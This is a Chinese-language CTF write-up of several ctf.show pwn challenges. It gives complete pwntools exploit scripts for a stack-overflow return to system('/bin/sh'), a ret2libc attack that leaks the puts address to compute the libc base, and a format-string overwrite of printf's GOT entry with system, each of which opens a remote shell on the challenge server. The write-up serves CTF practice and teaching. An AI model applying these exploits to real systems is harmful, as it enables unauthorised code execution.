前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CTF_Show-Pwn

CTF_Show-Pwn

作者头像
偏有宸机
发布2020-11-04 10:27:14
5160
发布2020-11-04 10:27:14
举报
文章被收录于专栏:宸机笔记

https://ctf.show/challenges

Pwn签到

  • nc直连

Pwn2

  • 使用ROPgadget工具搜索可以直接看到程序内有system/bin/sh字符串,拼接一下就可以使用了

EXP

代码语言:javascript
复制
from pwn import *
sh = process("./stack")
sh = remote("124.156.121.112",28032)
elf = ELF("./stack")
system = elf.sym["system"]
binsh = elf.search("/bin/sh").next()
payload = "a"*13
payload += p32(system)+p32(system)+p32(binsh)
sh.recvuntil("\n")
sh.sendline(payload)
sh.interactive()

Pwn3

  • 这回程序内找不到system和binsh了,想了一会,思考了一会,看到有puts函数,那干脆libc一把梭吧….

EXP

代码语言:javascript
复制
#-*-coding:utf-8
from pwn import *
#sh = process("./stack1")
sh= remote('124.156.121.112',28065)
elf = ELF("./stack1")
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF("./libc6-i386_2.27-3ubuntu1_amd64.so")
puts_got_addr =elf.got['puts']
puts_plt_addr =elf.plt['puts']
main_addr = elf.sym['_start']
payload = "a"*13
payload += p32(puts_plt_addr)
payload += p32(main_addr)
payload += p32(puts_got_addr)
sh.recvuntil("!\n")
sh.sendline(payload)
sh.recvuntil("\n\n")
puts_addr = u32(sh.recv(4))
print hex(puts_addr)
libc_puts_addr = int(libc.sym['puts'])
base_addr = puts_addr-libc_puts_addr
system_addr = base_addr+int(libc.sym['system'])
binsh_addr = base_addr+int(libc.search('/bin/sh').next())
max_payload = "a"*13
success("Base_Addr:0x%x",base_addr)
max_payload += p32(system_addr)
max_payload += p32(main_addr)
max_payload += p32(binsh_addr)
sleep(1)
sh.recvuntil("\n")
sleep(1)
sh.sendline(max_payload)
sh.interactive()

Pwn4

  • checksec程序,发现32位程序,且只有PIE没开,眉头一紧,预感大事不妙
  • 拖到IDA里看一下,printf函数没有格式化输出,很好字符串格式化漏洞出来了,并且在程序中有一个getshell函数,作用居然是直接可以返回shell,还好还好
  • 接下来就很好解决了,有两个办法,一是直接劫持EIP将其指向该函数,二是我们篡改printf函数
  • 以第二个为例,我们可以将printf函数的got表地址修改为system函数的内存地址,结果是当程序执行到printf函数时,其实是执行的system函数,而程序正好有两次输入输出,可以在第一次输入时篡改printf函数,到第二次输入时,我们只用传进去/bin/sh,那么程序在执行printf(&buf)时,实际执行的却是system('/bin/sh')

EXP

代码语言:javascript
复制
from pwn import *
sh = process("./ex2")
sh = remote("124.156.121.112",28050)
elf=ELF("./ex2")
printf = 0x0804A014
system = elf.sym['system']
payload = fmtstr_payload(6,{printf:system})
sh.recvuntil("Hacker!\n")
sh.sendline(payload)
sleep(2)
sh.recvuntil("\n")
sh.sendline("/bin/sh\x00")
sh.interactive()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-03-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Pwn签到
  • Pwn2
  • Pwn3
  • Pwn4
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档